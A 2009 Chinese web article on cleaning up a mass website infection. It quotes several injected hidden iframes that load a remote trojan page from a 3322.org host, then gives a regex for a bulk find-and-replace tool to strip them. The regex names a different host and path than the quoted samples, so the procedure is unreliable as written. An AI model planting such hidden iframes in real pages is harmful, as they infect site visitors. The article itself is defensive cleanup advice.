pc软件 文章资讯 手机软件

您当前的位置→图文中心安全防范批量清除不同的挂马页面
阅读排行

批量清除不同的挂马页面


2009/7/14  编辑:佚名 来源:本站整理

网站被批量挂马是经常遇到的事情, 一般用批量替换工具很方便就可以批量删除相关代码, 但是如果一个网站里面每个页面都被放置了木马, 而且代码还都不一样。 这种情况如何处理?

因为没有一个页面挂的马是相同的, 所以根本删不掉。 前几天我的一个朋友就遇到了这个问题。

他诉苦道服务器上一个网站被批量挂了木马, 仔细一看居然每个页面挂的木马都不一样。

我检查了一下是类似这样的情况:

页面一的木马是:

<ifraME src=http://sb.3322.org/isme.asp widTH=50 height=0 name=5148 naMe=2 boRdeR=0></ifRame>

页面二的木马是:

<ifraME src=http://sb.3322.org/isme.asp widTH=50 height=0 name=2133 naMe=2 boRdeR=0></ifRame>

页面三的木马是:

<ifraME src=http://sb.3322.org/isme.asp widTH=50 height=0 name=4583 naMe=2 boRdeR=0></ifRame>

……

仔细看, 虽然每个页面上挂的木马不同, 但是还是有一定规律的。

这时候, 我就在郁闷了, 要是能有一个支持正则的批量替换工具就好了。 还好补天的areone帮忙, 给我介绍了一个小工具, 恰恰可以满足这个要求。

这里有下载:

http://www.butian.org/soft/731.html

打开AFR工具, 选择批量替换:

搜索内容部分填写:

<ifraME src=http://88lai.3322.org/u.asp widTH=50 height=0 name=\d{4} naMe=2 boRdeR=0></ifRame>

替换为空 即可。

注意上面语句中红色部分, 就是正则表达式了。 通过这种方法, 就可以批量对木马进行删除了。

很快, 清除了4百多个页面上的木马。 大功告成。

正则表达式在平时技术方面的应用中用的很多, 后面我也会给大家找一些这方面的教材。

相关文章

教你将CAD的dwg格式批量转成JPG图片格式?:在CAD2010以上版本,09可能也有,不记得了,是支持jpg/png输出的方法就是打印,plot命令里,打印机选择“PublishToWebJPG.pc3”或者“PublishToWebPNG.pc3&...。

word如何将大量英文逗号批量替换为中文逗号?:录入长篇文档往往需要频繁切换输入法,在录入中文文章的时候,有时会不小心录入如图7‑6所示的大量英文逗号,此时该如何将其批量替换为中文逗号呢?  图7‑6英文逗号(英文逗号用粉红色标注)  解决方案1  将英文逗号全部...。

怎么用QQ拼音批量查找特殊字符:用QQ拼音批量查找特殊字符:在用QQ拼音输入特殊字符时,可以用下表方法更简单直接输入,并批量找到同类特殊字符。

发表评论
网站帮助 - 广告合作 - 下载声明 - 网站地图